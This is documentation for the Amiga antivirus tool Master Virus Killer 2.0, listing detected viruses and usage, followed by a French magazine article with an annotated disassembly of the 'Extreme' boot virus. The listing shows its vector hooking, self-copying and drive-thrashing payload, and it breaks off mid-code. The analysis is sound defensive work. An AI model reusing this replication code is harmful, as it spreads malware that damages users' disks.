home *** CD-ROM | disk | FTP | other *** search
Wrap
D O C U M E N T A T I O N ------------------------- The M A S T E R V I R U S K I L L E R * * * * ** 2.0 V1.0 ->1.4 Artwork and design: David Delabassée , Gaëtan Prouvost , X.Juste V1.0 ->2.0 + Programmation and (c): Xavier Leclercq ->MVK2.0 Rights Reserved by Stefan Ossowski in GERMANY , AUSTRIA and SWITZERLAND and for this countries the program is NOT PublicDomain/share. ->MVK2.0 Rights Reserved by BAB MICRO in FRANCE and for this country the program is NOT PublicDomain/share. ->For all others countries (BELGIUM , U.K. , USA ...) this program (ENGLISH VERSION ONLY) IS a Public Domain in shareware. If you discovered NEW viruses please contact me : Leclercq Xavier Vieux Chemin D'Ath N°12 7548 WARCHIN BELGIUM I am very interested by all the viruses which aren't taken in by the M.V.K. and therefore which should be added in the further version.Thanks for sending me these new viruses ! YOU MAKE UPDATE POSSIBLE !! To obtain the list of key'significations: Hold down the 'HELP' key in the program. IMPORTANT: This documentation is on the disk and to print it : 1> type sys:MVK.DOC to PRT: 1.A.List of the recognizables virus by M.V.K V2.0: -------------------------------------------------- A.Virus Boots: -------------- 1. 16 Bit Crew 2. Abraham (Claas Abraham = MCA) 3. Aids 4. AmigaFreak 5. ASS Virus 6. Australien Parasite 7. BamigaSectorOne 8. BandVirusSlayer 9. BlackFlash 10. BlackStar [North StarI] 11. Butonic's = Bahan 12. ByteBandit I 13. ByteBandit II 14. ByteBanditNoHead (ByteBandit Ver3 = ByteBandit+ = The mutation) 15. CCCP Virus (BOOT) 16. Clist 17. Coder 18. CrackRight by Diskdoctor 19. Dag 20. Dasa I 21. Dasa II 22. Destructor 23. DigitalEmotion 24. Diskguard 25. DiskHerpes = Phantastograph = Phantasmumble = Herpes =.... 26. Extreme 27. F.A.S.T. 28. F.I.C.A. 29. FastLoadByteWarrior 30. Forpib 31. Gadaffi 32. Graffitti 33. Gremlins (The_True) 34. GXteam 35. Gyros 36. HCS 4220 I 37. HCS II 38. Hilly 39. Hoden 40. Ice 41. Incognito 42. Jitr 43. Joshua I 44. Joshua II 45. Julie = Tick 46. Kauki 47. LamerExterminator_I [LamerStrap , LamerSpécial] 48. LamerExterminator_II [Gremlins_The_False] 49. LamerExterminator_III 50. LamerExterminator_IV [Uk_LamerStyle , SelwriterLamer] 51. LamerExterminator_V 52. LamerExterminator_VI [Rene_Lamer6] 53. LSD 54. MegaMaster (= MGM virus) 55. MicroMaster&AEK 56. MicroSystem 57. Morbid_Angel 58. Newbeat (Alien Newbeat) 59. NoName 60. NorthStarII (starfire) 61. NorthStarIII 62. Obelisk 1 63. Virus II by Obelisk (very # Obelisk1!) 64. OPapa 65. Paramount 66. PentagonCircle Virus's Slayer I 67. PentagonCircle Virus's Slayer II 68. PentagonCircle Virus's Slayer III 69. Revenge 70. RevengeLoader 71. The Ripper 72. SCA_1 (Use move.l to copy itself in memory) 73. SCA_2 (Use DoIo to copy itself in memory) 74. ScarFace 75. Sendarian 76. SinisterSyndicate 77. SuperBoy 78. Suntronic 79. SupplyTeam 80. System Z PVL V3.0 System Z PVL V4.0 System Z PVL V5.0 System Z PVL V5.4 System Z PVL V6.1 System Z PVL V6.3 System Z PVL V6.4 81. Switch-Off 82. Target 83. Termigator 84. Telstar (false System Z PVL V6.0!!) 85. TimeBomb 86. Turk 87. UltraFox 88. Vkill_I 89. Vkill_II 90. Warhawk B.File_Virus: Use the "File Virus?" icon. ------------- 91. BGS9_I 92. BGS9_Mutant 93. Butonic 94. CancerSmily 95. CCCP Virus_Link 96. Disaster Master 97. IRQ_typeI 98. IRQ_TypeII 99. Revenge of the Lamer Exterminator 100. TERRORISTS 101. The_Traveling Jack I 102. The_Traveling Jack II 103. The Time Bomber (Horse of troyan) 104. UltraKill 105. XENO [Last minute. A new generation of virus is born : Virus in Diskvalidator. The first of this new generation is "Return_Of_The_Lamer".For Next version...] Remarks: -------- -Kauki , Sinistersyndicate, SupplyTeam , ByteWarriorLoader , SystemZ , ASS are not realy Virus but PLAYS the same effects: Screen Handles manipulations , Memories manipulations , Alert Display and the most important: scratch your computer for many ROMs version! In more SystemZ install himself on boot in place of a standard Boot... -The BGS9 is sometimes called the TTV1 Virus.if you want to understand the reason ,then look at the end of this document... -Don't confuse the TERMIGATOR Virus with the Terminator protector !! -The IRQ team,Termigator,dasa,Gx.Team,(c)rack right by diskdoctors, Alien Newbeat,microsystems Viruses don't work under V1.3 ROM !! -All File_Virus (linkages) are now fighting by MVK2.0. Use "File_Virus" icon! 1.B.List of the specials bootblocks reconizable by M.V.K V2.0: -------------------------------------------------------------- 1. Virus detector Cleaner (V.D.C.) v1.3 2. Virus detector Cleaner (V.D.C.) v1.6 3. IRQ Protector (oldversion) 5. Boot Girl 6. GX.TEAM NoFast 7. Boot memory controller V1.2 8. Boot memory controller V1.3 17. Mega Boot V1.30 18. X-Copy v2.0 Bootblock 19. Terminator Virus Protector 20. VirusKiller Prof. v2.0 Boot 21. M.i.A Boot 22. BootBlock COPY 23. BootLeg v2.1 24. CCS-Boot 25. CHIP-Boot 26. Bootblock OK... 27. Don't Boot.... 28. Virus FREE BootBlock 29. Avirex Boot 30. North Star Virus Checker 31. Virus Detector Cleaner (V.D.C.) V1.7 32. Tristar VirusKiller V1.1 Boot 33. Viruskiller Buster v1.4 Boot 34. SCA protector Boot 35. DevWare_88 BootBlock Protector 36. Blizzard1.0 Protector 37. BootBlock Generation 38. IRQ Protector V2.0 39. Virus Detector Cleaner (V.D.C.) V2.0 40. Outlaw Checker 41. Razor1911 Checker 42. Devil_Blue-Sky Checker 43. RattleHead Boot 44. A-Max KickEnable 45. Noll's Checker 46. Interferon Checker 47. Mahomey&Kaktus Checker The V.D.C and the IRQ Protector are installed by M.V.K . the first one allows to suppress during the boot no matter which virus before going on in sequence. The second one allows to be protected from the IRQ (linkage virus I.E. which attacks the executables files),the boot lets believe the virus that he's already present in the memory. Further information about the use of specials keys: --------------------------------------------------- 'F4' KEY: New option MVKv2.0. Explanations: Virus may damage the boot ********* of your hardrive destroying parameters'partitions. (Result= NOT A DOS DISK and you must reformat HD) But I can help you if you meet such situation. First USE C KEY to put on the buffer the Boot of your HD. In second SAVE the buffer on the disk strike 'F4' key and SAVE on the boot of a target disk the HD'Boot. (never insert a disk before becoz this action will be loaded the boot of this disk as the new buffer!!) 'F3' KEY: New option MVKv2.0. After some probems , with virus destroying your ********* HD_Boot, insert the disk with your Old_HD_Boot definition and strike the 'F3' key to put the buffer of this disk (old hdboot) as the new Boot of your Harddrive. This action will be restored your disk. USE f3-f4 keys with CAUTION BECOZ IF YOU INSTALLED A BAD BOOT YOUR HARDDRIVE WILL BE DESTROYED!!! ONLY for clever users!... ( The hdboot checksum is not situated on second long word as checksum disk and if you change this 4 bytes (if you install an other normal bootdisk) the hd drive will never boot again! (in this case use format workbench command!!) All this remarks are true with A590_hd_drive and all others! 'F1' KEY: ********* (Updates v1.7) save the bootblock to a file ($400 bytes of lenght). You must typing the name between insert the target disk!! 'F2' KEY: ********* (updates 1.7) save the virus which was in memory at the start of the M.V.K. to a file. UPDATE V2.0: Now you can select a drive or HD device before strike ------------ on F1 or F2 key. If you choose Harddrive the message "Right mouse button to continue" takes the place of "insert a disk in any drive"... 'T' KEY: ******** Testing the memory takes time but rather simply to realize. But the elimination of a whatever virus has been painfully worked up: without taking account of the ROM version (1.2-> 1.3; 1.4?),how to reinitialize strategics vectors like BeginIO,DoIo etc...? For that I has program a routine which is seeking in Rom for input-points which are used to find again good values... Uptdates V1.6 about this 'T' KEY: The version in hexadecimal of the "exec.library" isn't displayed any more,but the ASCII text,the equivalent of the ROM,which is more readable.In addition,I display also the marker of the $68 interrupt. When I tested the Abraham Virus,I has the unpleasant surprise to verify this virus was making the memory test which must normally suppress him of the memory... The 1.5 version didn't test the $68 interrupt. So,when I inserted a diskette in any drive,the $68 interrupt was waked up and the virus too!!!. I proved this striking the 'T' Key in the program : the vectors were again deviated!! Holding the 'D',I may know the exact address of the begin of the virus; so it allowed me to disassembler him quickly,because the virus in the memory is decripted. Remarks V2.0: Now you can see more vectors. (I check more vectors too!) ------------- You can observe the DOIO vectors are not a good ROM value when you check memory using "T" key. Simply becoz MVK using DoIo vector to check if the disk is present in any drive. Of course when you exit this DoIo vector will be restored. 'D' KEY: ******** To realize a dump of the memory,where the virus should be in theory, which is present during the test memory,I swept this memory looking for the long word "DOS",0 then with the deviated vectors I can find in the most cases the good address of the begin of the virus.In fact if a virus want to be reproduced ob the 'Bootable' diskettes,he must entirely recopy his boot in memory.All the 'bootables' diskettes begin thus by the long word (4bytes) Dos,0. And after a check up of the deviated vectors ,I verify these vectors are near this address and if the boot has the mark of this "disk image" of a virus,this is declared present in the memory. Obviously sometimes,the mark of a virus is present in the memory,but no vectors is deviated,I.E. the vector isn't active any more.For this reason the double test 'deviated vectors' and 'image disk' are necessary. This test doesn't take account (like the test memory) of the "protectors" virus which are recognized by the M.V.K. ,in fact these aren't viruses. (The series of PLV protectors are recognized by the MVK inserting a disk in any drive ,but aren't recognized as they are with the test memory which will report this undoubtedly a dangerous Bootblock or one in question...). Updates V1.8 about 'D' KEY: Hexadecimal dump is now available. Updates V2.0: Now I realised the test scaning the memory for File_Virus. ------------- [Search HUNK_LOAD $000003e9] If boot virus scaning "DOS",0 'C' KEY: ******** If you strike this key a window will be display and you can push again F1 or F2 or F3 key. This is to control Harddrive device. Example: xt.device to control A590 xt HD. After push the key MVK loads the Boot of your Harddrive and displays it. Then you can see if you have damages. (I think for experts only!) 1.C A few words about how to use the M.V.K.: ******************************************** First a line about "FF0:" drive. USE it with assign method for external drive or with the TRACKsimulator (on an Amigalibdisk) 1>Assign FF0: QDH0: !!->Update V2.0 : at the start of the MVK if you click on the left mouse button during program loading you pass trought the memory test. Then if you have some problems with the memory test (I think A3000) or to run program quickly push on the left mouse button! If you have discovered some news viruses or if you have some incompatibility please use the VECTORS program (on this disk) and send me the results: 1>Vectors >prt: or 1>Vectors >df1:Fichier_for_XL -The duplication icon: Simply use this icon to copy any boot from a drive dfx: to an other drive dfy: The checksum is in more automatiquely recalculated. -Select one of the drives by clicking on them.The drives which are not present during the start,aren't selectable.The choice of a drive occurs only when you have decided to install a special boot or "to kill" a virus that is one of these drives. !!Updates V2.0: The choise of a drive occurs now for many actions. When you click on "File_Virus?" icon or strike F1-F2 key select drive before! Update V2.0: When you insert a disk in any drive the drive icon is selected automatiquely. -The 'Display Boot' option allows to scan the boot by inserting a diskette. So for a SCA virus ,the text SCA is right in 'bright'.This allows to identify a boot would be 'bootblock unknow'.When this message is displayed ,the MVK can't identify the boot.Either it's a new virus,either it's a game or a special boot.Whatever,I advise in that case not to try to initialize the boot without doing a copy of him previously! In fact if the boot is used to start a game ,he may not start any more... You could cause as damages as a virus.Thus pay attention!! -The 'IRQ protector' option allows to install a special boot which will let believe the 'linkage' virus IRQ TEAM (he attacks the executables files of the startup-sequence) he is already present in the memory.So he won't be installed. -The 'Install V.D.C' option (Virus Detector Cleaner) will install a boot which will detect a virus or another resident program. In that case, the screen will become red and a 'LONG RESET' will suppress underisable out of the memory.A blue screen means nothing has been detected. You can remark the VDC instruction that is on this diskette is more efficient and is the best instruction for hard disk users who will may insert this one in the startup-sequence . This instruction make useless the test memory that the M.V.K. perform at the start, because at this time I don't know any virus which can pass it. it's not the case of the boot,the termigator virus only pass it. I'ts not the case of the boot ,the termigator virus only running under the roms v1.2 ,uses interrupts which puts him off the memory when during a boot ,and thus the VDC (in boot) doesn't find something and let pass him.(But the New version of VDC detected that now) These instructions aren't used any more after the boot and thus the VDC instruction will may find the intruder and will perform the reset which will supress him from the memory. Thus it's useless using the VDC boot or the VDC instruction if you want to detect a virus at the start of the M.V.K. Because if you suppress the viruses out of the memory before starting the M.V.K., this one will only affirm there is no virus in memory.Now this test memory is unique in his kind (from V1.5) and allows the detection of all viruses at the start.This test takes pratically the third of the program and it would be a pity to not let a chance to the M.V.K. for detecting and suppressing them.(no matter which version of the roms) Another explanation about this VDC instruction: if this one is inserted in your startup-sequence as first instruction, it may be she is attacked by a linkage virus. (It will never happen if you run always your applications from the hard disk !) This one (BGS9,IRQ TEAM,TERRORISTS,...) will replace the instruction by his own code and will try to run again the instruction letting you believe nothing has been modified. Here you must notice the virus is already installed before running the VDC instruction.now the VDC detects all these viruses in memory and will perform a reset to suppress him. It will give an UNENDING ring!! In that case you decide to check the boot but there is nothing. (in the other case (virus) you have to initialize him ('kill virus' option)). At all in the case of an hard disk ,it's already impossible. Thus at this time ,you must realize there is only a linkage virus in question !! You have to recopy the startup-sequence which is infected by the intial startup-sequence and to recopy the VDC instruction in place of the old instruction that is now infected.if you some doubts about the nature of the virus,then you run the M.V.K. : he will confirm it you. In that case, don't take any caution to supress him out of memory,the M.V.K. will suppress him after confirmation of his identification! (As I said it if you suppress the virus before running the M.V.K. ,he won't be able to work correctly because he won't be able to detect him. obviously, of course !) Updates of the VDC (ver1.6): The VDC instruction has been revised and corrected.Now the test of the $68 interrupt is realized ,as consequence it offers a insuperable barrier opposite some viruses using this interrupt : termigator,GX.Team and Class Abraham.It report also if you want to save your RAD: ,press only the left button of the mouse. (the testes aren't realized). Look out ,the screen becomes red but the long reset isn't effected! This option may also serve 'the virus shooter' which can let live the virus only to study him,knowing well he can at any time suppress him out of the memory using the VDC instruction. All this is valid for the boot and the VDC instruction. updates of the VDC (ver1.7) : Low memory tests will be improved (testing from $8 to $3c and from $40 to $bc). Updates ver2.0: Some virus use new vectors to stay in memory and cause many damages. Example: AvailMem() is deviated to keep the same amount of free memory. The virus use AvailMem() to make illusion becoz user think at this moment: no virus in memory the amount of my free memory is always the same as normal situation... MVK test now this vectors and VDC2.0 too. [AvailMem,KicksumData, and much more]. Remarks: Many of virus uses now new exec functions: -630(a6) ->QuickMemCopy ; -624(a6) ->CopyMem etc.... (with move.l $4.w,a6) -The 'Kill Virus' option write a classic boot on the target diskette of the drive previously selected.(Throwing a cry to symbolize the death of the virus !) you can use this option without hesitations in the case of a virus recognizable by the M.V.K. ,but in the case of a 'Unknwon boot' , as explained above,you must use him with caution! -to escape from the program,just clicking on the image which looks like an interrupter. Update V1.7 to exit: A requester is displayed at the exit of M.V.K. Click on "OK" to preserved the RAD:. WARNING: NEVER click "OK" if a virus has been detected at the start of the M.V.K.!!! Because the virus could come out again at the next reset). In this case OR if you don't have RAD: YOU MUST CLICK on "CANCEL" !!!!!! 1.D During the course of the operations: **************************************** If a virus is detected during the insertion of a diskette,a siren is running and a possible meter of reproduction is displayed (if he exists for the virus) with an image speaking about a virus. You only have to kill the virus or to install a special boot in place of the virus.(you can scan your victim with the "display boot" option) Any action will stop the siren. If a special Boot is recognized by the M.V.K. ,he will display the kind of boot. An image corresponding to a raised thumb for the sign "OK", is displayed. In the case when a virus or a special BootBlock isn't a part of these the M.V.K. recognizes, an "ATTENTION' panel is displayed and the Bootblock Unknown message is showed. There is a little change this boot is one of these dangerous viruses.(other the viruses reconized by the M.V.K.). But if you have some doubts,you have to proceed as follows: IMPORTANT: ********** Fisrt you can always try to read a possible message which might be displayed in 'bright' (i.e. in ascII) by scanning the boot with the "display boot' option (for example: "Virus by byte bandit...") But the "modern" virus are cripted for the most of them,i.e. they don't allow a direct reading of this kind of message... No panic: the M.V.K. has more than one trick up one's sleeve !. The second reflex is to run the uncertain diskette (by booting) then to execute a reset a finally to run the M.V.K. He will effect himself a test memory at the start. If there is a new virus in question,the "OK no virus in memory" thumb won't be displayed. You will read the the "Unknown virus ,virus protectors or prog. resident in memory" message. Thus, the strategic, and necessary markers, for the viruses aren't equal to zero!! It's not all! The third thing to do is to run the M.V.K. (the virus is suppress automaticaly) and then to strike the 'D' key.it will allow to give a confirmation of your diagnosis. With the help of a complex algorithm, the M.V.K. is seeking the place where the virus (or the virus protector) was located and will display this place in ASCII accompanied by his address in memory !! Generally at this level,the virus is decripted in memory and the messages are displayed in 'bright'. The last thing to do is obiously to not forget sending me this new virus that I could insert in a new version of the Master Virus Killer !!! 2.A Have you said Virus ? ************************* An attempt to define the word virus should be: Virus: little program in Assember which recurs by the more discreet way without advertising the user or deceiving him on his right kind. (The case of the Pentagon Circle Virus's Slayer wrong protector virus but right virus !!) There are also the linkage viruses ,they are like the viruses on the PC computers which infiltrate the executable files.On Amiga ,there is the IRQ Virus but isn't dangerous.He 'runs ou' with the Roms V1.3 !! I suggest a mean in the M.V.K. to be protected from him ,the special Boot will make the virus inactive even if he is on an executable file.The principle is very simple: before becoming active the IRQ team virus will verify if the OldOpenLibrary vector is in ROM,else he will deduct he isn't in memory and conversely.You have just to deviate this vector to our profir and there you have it ! (New Linkage virus : see list from 56 to 61!) 2.B The meter of reproductions: ******************************* The longest work (and the hardest) during the elaboration of the program was to disassembler all viruses the M.V.K. could detect.It allows to give you (for the viruses which have one) the meter of reproduction. It's meter which indicates you know many times the virus has already infected others diskettes ! (example the (c)Rack Right by Diskdoctors : 678) The result is sometimes amazing ! 3. Are the viruses dangerous ? ****************************** By this word I think to the irremediable damage the viruses can cause sometimes.It may be a black screen and jammed system during the calculation of a page with the SCUPLT 4D.(Gxteam,by byte bandit viruses...)Or the pure and simple formating of a sector of your diskette or the occupation of a sector (Lamer Exterminator). Or stupidly the virus will install himself on your diskette giving him unusable (the most of games use boot to start).In conclusion of this,the viruses are well dangerous... 4.How to be protected from this viruses ? ***************************************** You have just to use the M.V.K each time you are thinking you have some doubts about a Virginity of bootblock of your diskette,and to protect your diskettes against writing !! Don't beleive the idiots who are pretending the contrary ! The single mean to write on a protected diskette in writing could be deprotect him !! Even the fact of changing the state of WPRT signal of the drive (14th pin of DB-23 to the ground or to the 15 volts) will change nothing.The Amiga will think (it happens him?!) the diskette is deprotected,and will allow the writing on the disk but Nothing will be written !!!! So the HARDWARE of the drive has the absolute priority even on the logic Amiga signals. The French text follows is extracted from the French paper Mag A-NEWS.This is some of my articles I write for this MAG. (Of course the best mag in the world...) [ A-NEWS: ZA Blis,24500 Eymet, FRANCE ] \ A -About a Virus boot: / L'Extreme Virus: ---------------- Comme on me réclame à corps et à cris un désassemblage (je me fais plaisir également) en voici un qui provient d'un nouveau microbe : L'Extreme.Le code de celui-ci n'est pas trop dur ni trop facile à comprendre et surtout assez court.($2e7). C'est en désassemblant les virus que j'ai pour ma part réalisé mes premiers pas en assembleur et je vous invite à prendre ce chemin si vous vous estimez débutant en la matière... Quelques explications suplémentaires sur le code: 1> L'Extreme est un des seuls Virus à utiliser la pile pour toutes une série d'opérations.En effet la manipulation de la pile est très courte en temps machine et permet des gains d'octets qui finissent par devenir appréciables.(D'ailleurs c'est dans la pile superviseur que le Virus se niche).Pour par exemple réaliser un saut inconditionnel (JMP) il pratique de la manière suivante: pea AdresseDuSaut(pc) ;empile l'adresse rts ;au rts l'Amiga prendra l'adresse de retour sur la pile l'adresse qui est précisemment : AdresseDuSaut... En fait et pour bien comprendre cela équivaut à l'instruction assembleur: jmp AdresseDuSaut et l'instruction pea est similaire à: lea AdresseDuSaut(pc),a0 move.l a0,-(a7) ;on empile (Le S(Atchoum)T par exemple utilise énormément l'instruction TRAP et PEA mais su Amiga ce n'est pas très courant ) 2> Une petite explication au niveau de l'instruction SetFunction. (utilisée également par le virus link IRQ Team pour modifier OldOpenLibrary() ) Elle sert donc à modifier le vecteur qui réalise le branchement d'une fonction de library.Ici c'est DoIo voici comment on le détermine: $ffff-$fe38 =$01c7 +1 (car négatif complément à 1) = -454 -2 = -456 (-2 car c'est un Word = 2 Bytes occupé par le code de l'instruction JMP ,la table étant constituée de code JMP et de vecteurs) L'instruction SetFunction ,et ceci est très important, réalise un CheckSum de la library.(c'est à dire une somme dse ctrl) sans quoi l'ordinateur risque de "planter".Setfunction réalise en effet ceci: move.l $4.w,a6 move.l NouveauVecteurDoIo,-454(a6) mais en plus éffectue la somme de Ctrl... 3> L'auteur du Virus laisse son numéro de tél.!! A supposer bien entendu que c'est le sien il court là un grand danger ,je vous rappelle en effet que c'est dans une situation identique que se trouve l'auteur présumé d'un virus assez connu le DASA (Byte Warrior) jugé en Allemagne pour la conception de ce microbe... 050000:444f dc.w $444f ;"Dos",0 050002:5300 subq.b #1,D0 ;CheckSum dc.l $f602ff02 050004:f602 linef $f602 050006:ff0c linef $ff0c 050008:0000 ori.b #$370,D0 ;root dc.l $370 = 880 =block racine 05000c:4eba jsr 36(PC)(=$50032) ;Init Virus 050010:4eae jsr -96(A6) ;Findresident 050014:4a80 tst.l D0 ;erreur? 050016:670a beq.s $050022 ;Oui 050018:2040 move.l D0,A0 ;pointeur 05001a:2068 move.l 22(A0),A0 ;sur la suite en a0 05001e:7000 moveq #$00,D0 ;pas d'erreur 050020:4e75 rts ;retour 050022:70ff moveq #$ff,D0 ;erreur flag fixé à 255 050024:60fa bra.s $050020 ;fin (ne boot pas) 050026:646f bcc.s $050097 ;\ 050028:732e dc.w $732e ; \ 05002a:6c69 bge.s $050095 ; \ 05002c:6272 bhi.s $0500a0 ; dc.b "dos.library",0 05002e:6172 bsr.s $0500a2 ; / 050030:7900 dc.w $7900 ; / 050032:48e7 movem.l A6-A0/D7-D0,-(A7);sauve registres sur la pile 050036:4eae jsr -120(A6) ;interdiction des interruptions 05003a:41fa lea -60(PC)(=$50000),A0 ;début du code du Virus 05003e:226e move.l 58(A6),A1 ;Systklower limite inférieure 050042:d2fc adda.w #$1000,A1 ;de la pile superviseur +$1000 050046:4869 pea 86(A1) ;pointe sur $50056 05004a:303c move.w #$02e7,D0 ;taille du Virus 05004e:12d8 move.b (A0)+,(A1)+ ;copie Virus dans la pile superviseur 050050:51c8 dbf D0,$05004e ;tant qu'il y a des bytes à copier 050054:4e75 rts ;retour donc saut en $50056 050056:41fa lea 948(PC)(=$5040c),A0 ;compteur_1 05005a:30bc move.w #$0003,(A0) ;compteur_1 = 3 05005e:610a bsr.s $05006a ;initialisation de la table résidente 050060:4cdf movem.l (A7)+,A6-A0/D7-D0 ;rend valeurs registres initiaux 050064:43fa lea -64(PC)(=$50026),A1 ;"dos.library" en a1 pour 050068:4e75 rts ;la fonction findresident et retour 05006a:202e move.l 550(A6),D0 ;pointeur KickTagPtr Vide ? 05006e:6704 beq.s $050074 ;oui on s'installe pour la 1er fois 050070:08c0 bset #31,D0 ;non alors on "cohabite" en fixant le 050074:41fa lea 920(PC)(=$5040e),A0 ;bit 31 puis on fait pointer 050078:43e8 lea 8(A0),A1 ;TailPred sur ln_Head 05007c:2089 move.l A1,(A0) 05007e:2140 move.l D0,4(A0) ;Sauve Nouvelle valeur pour le noeud 050082:2d48 move.l A0,550(A6) ;Nouvelle adresse pour table résidente 050086:32bc move.w #$4afc,(A1) ;MatchWord (reconnaissance de la str.) 05008a:2349 move.l A1,2(A1) ;MatchTag (pointeur sur sa propre table) 05008e:487a pea 928(PC)(=$50430) ;sur pile puis dépile (a7)+ 050092:235f move.l (A7)+,6(A1) ;endskip = pointeur sur fin de la table 050096:237c move.l #$012109ff,10(A1);Flags=1;version=$21;type=9 (?) 05009e:487a pea 463(PC)(=$5026f) ;priorité=$ff 0500a2:235f move.l (A7)+,14(A1) ;met le nom "extreme virus..." en rt_name 0500a6:42a9 clr.l 18(A1) ;pas d'informations supplémentaires (clr) 0500aa:487a pea 14(PC)(=$500ba) ;place sur la pile puis dépile (a7)+ 0500ae:235f move.l (A7)+,22(A1);pour placer en rt_int l'adresse à ;laquelle l'Amiga sautera à chaque reset 0500b2:4eae jsr -612(A6) ;calcule KickCheckSum() 0500b6:2d40 move.l D0,554(A6) ;et sauve résultat 0500ba:4eae jsr -120(A6) ;interdit interruptions (déjà fait!) 0500be:2f0a move.l A2,-(A7) ;sauve registre de données A2 sur pile 0500c0:45fa lea 830(PC)(=$50400),A2 ;nouvelle valeur 0500c4:206e move.l 144(A6),A0 ;Srtucture intvector raster en a0 0500c8:2050 move.l (A0),A0 ;pointeur 1er noeud 0500ca:24e8 move.l 18(A0),(A2)+ ;Void Code sauvé (point d'entrée de 0500ce:487a pea 48(PC)(=$50100) l'ancienne routine raster interrupt) 0500d2:215f move.l (A7)+,18(A0) ; nouvelle adresse interr. ($50100) 0500d6:487a pea 62(PC)(=$50116) ;met sur pile 0500da:201f move.l (A7)+,D0 ;dépile nouvelle adresse fonction DoIo 0500dc:307c move.w #$fe38,A0 ;Offset pour -456(a6) 0500e0:224e move.l A6,A1 ;library exec 0500e2:4eae jsr -420(A6) ;setfunction (modifie vecteur DoIo) 0500e6:24c0 move.l D0,(A2)+ ;sauve ancien vecteur en $404(DébutVirus) 0500e8:203c move.l #$00000400,D0 ;1024 octets = taille de la zone 0500ee:223c move.l #$00010002,D1 ;MemClear+MemChip = modalités 0500f4:4eae jsr -198(A6) ;reserve 1024 octets 0500f8:24c0 move.l D0,(A2)+ ;Pointeur Mem. réservée en $408(DebutVirus) 0500fa:245f move.l (A7)+,A2 ;restaure ancienne valeur A2 0500fc:4eee jmp -126(A6) ;Autorise interruptions et jmp donc rts ;Nouvelle routine Raster 050100:2f0e move.l A6,-(A7) ;sauve a6 050102:2c78 move.l $0004,A6 ;exbase en a6 050106:487a pea 774(PC)(=$5040e) ;lors de l'interrupt. restaure 05010a:2d5f move.l (A7)+,550(A6) ;la table résidente 05010e:2c5f move.l (A7)+,A6 ,restaure a6 ;donc 50 fois par seconde... 050110:2f3a move.l 750(PC)(=$50400),-(A7) 050114:4e75 rts ;Nouvelle routine DoIo 050116:4aa9 tst.l 44(A1) ;test offset piste si=0 alors on lit la 1er 05011a:6600 bne.l $0501aa ;non alors aucune disquette n'a été intoduite 05011e:0c29 cmpi.b #$03,29(A1) ;écriture du boot? 050124:6730 beq.s $050156 ;oui 050126:0c29 cmpi.b #$02,29(A1) ;lecture du boot? 05012c:667c bne.s $0501aa ;non 05012e:2069 move.l 24(A1),A0 ;test unité 050132:0828 btst #4,64(A0) ;de disquette ? 050138:6600 bne.l $0501aa ;non on sort 05013c:6100 bsr.l $0501aa ;on place ancienne valeur DoIo sur pile 050140:41fa lea 714(PC)(=$5040c),A0 ;Compteur_1 050144:5350 subq.w #1,(A0) ;Compteur_1 = Compteur_1 moins 1 050146:6700 beq.l $0501b0 ;Si déjà 3 appels alors on devient méchant 05014a:2069 move.l 40(A1),A0 ;sinon regarde si on s'amuse avec son 05014e:2010 move.l (A0),D0 ;propre code 050150:b0ba cmp.l -338(PC)(=$50000),D0 ;pour dans ce cas sortir 050154:6652 bne.s $0501a8 050156:48e7 movem.l A3-A1/D1,-(A7) 05015a:137c move.b #$03,29(A1) ;On écrit 050160:237c move.l #$00000400,36(A1) ;1024 octets 050168:247a move.l 670(PC)(=$50408),A2 ; à partir du prt MEM réservé 05016c:264a move.l A2,A3 ;voir plus haut 05016e:234a move.l A2,40(A1) ;Adresse des données disk 050172:41fa lea -372(PC)(=$50000),A0 050176:52a8 addq.l #1,740(A0) ;compteur de reproduction + 1 05017a:303c move.w #$02e7,D0 ;taille du virus 05017e:14d8 move.b (A0)+,(A2)+ ;on se recopie dans le buffer 050180:51c8 dbf D0,$05017e 050184:303c move.w #$00ff,D0 ;\ 050188:7200 moveq #$00,D1 ; \ 05018a:204b move.l A3,A0 ; \ 05018c:45e8 lea 4(A0),A2 ; \ 050190:4292 clr.l (A2) ; \ 050192:d298 add.l (A0)+,D1 ;CheckSum bootblock (inverse de la somme) 050194:6402 bcc.s $050198 ; / 050196:5281 addq.l #1,D1 ; / 050198:51c8 dbf D0,$050192 ; / 05019c:4681 not.l D1 ; / 05019e:2481 move.l D1,(A2) ;/ 0501a0:6100 bsr.l $0501aa ;On place l'adresse de retour ancien DOiO 0501a4:4cdf movem.l (A7)+,A3-A1/D1 0501a8:4e75 rts ;retour donc saut à Old DoIo 0501aa:2f3a move.l 600(PC)(=$50404),-(A7) ;Place Old DoiO sur pile 0501ae:4e75 rts ;C'est ici que le virus devient méchant 0501b0:30bc move.w #$0003,(A0) ;d'abord il réinitialise son compteur_1 0501b4:2c78 move.l $0004,A6 0501b8:4eae jsr -120(A6) ;Interdit interruptions 0501bc:41ee lea 378(A6),A0 ; Library List en a0 (structure Noeud) 0501c0:43fa lea 152(PC)(=$5025a),A1 ;"intuition.library" 0501c4:4eae jsr -276(A6) ;on cherche dans la liste la 0501c8:2c40 move.l D0,A6 ;library intuition et on place la base en A6 0501ca:41f9 lea $bfd100,A0 ; 0501d0:49f9 lea $dff000,A4 ; 0501d6:10bc move.b #$7f,(A0) ; 0501da:10bc move.b #$05,(A0) ; 0501de:7250 moveq #$50,D1 ; ici je résume: le Virus prend le Ctrl 0501e0:397c move.w #$8010,150(A4) ; des drives pendant qq secondes 0501e6:42ac clr.l 36(A4) ; cette routine est de l'ordre de celle 0501ea:397c move.w #$9100,158(A4) ; utilisée par le Gadaffi virus 0501f0:397c move.w #$c300,36(A4) ; cela fait évidemment très peur 0501f6:397c move.w #$c300,36(A4) ; à l'utilisateur d'entendre le 0501fc:397c move.w #$0002,156(A4) ; claquemment des tetes de lectures 050202:082c btst #1,31(A4) ; et les conséquences en cas par exemple 050208:67f8 beq.s $050202 ; de chocs trop violent risquent 05020a:426c clr.w 36(A4) ; d'endommager fortement le support! 05020e:6136 bsr.s $050246 ; (mais rien n'est écrit) 050210:0850 bchg #2,(A0) ; puis un cadre rouge clignotant 050214:6138 bsr.s $05024e ; fera son apparition à l'écran : 050216:51c9 dbf D1,$0501e6 ; (style Gourou meditations) 05021a:33fc move.w #$0020,$dff096 ; 050222:42b9 clr.l $dff140 ; 050228:41fa lea 66(PC)(=$5026c),A0 ;Données à afficher dans le cadre 05022c:7000 moveq #$00,D0 ;n° erreur 0 05022e:223c move.l #$00000050,D1 ;hauteur en pixel du cadre rouge 050234:4eae jsr -90(A6) ;DisplayAlert de la library intuition 050238:2c78 move.l $0004,A6 ;execbase 05023c:4eae jsr 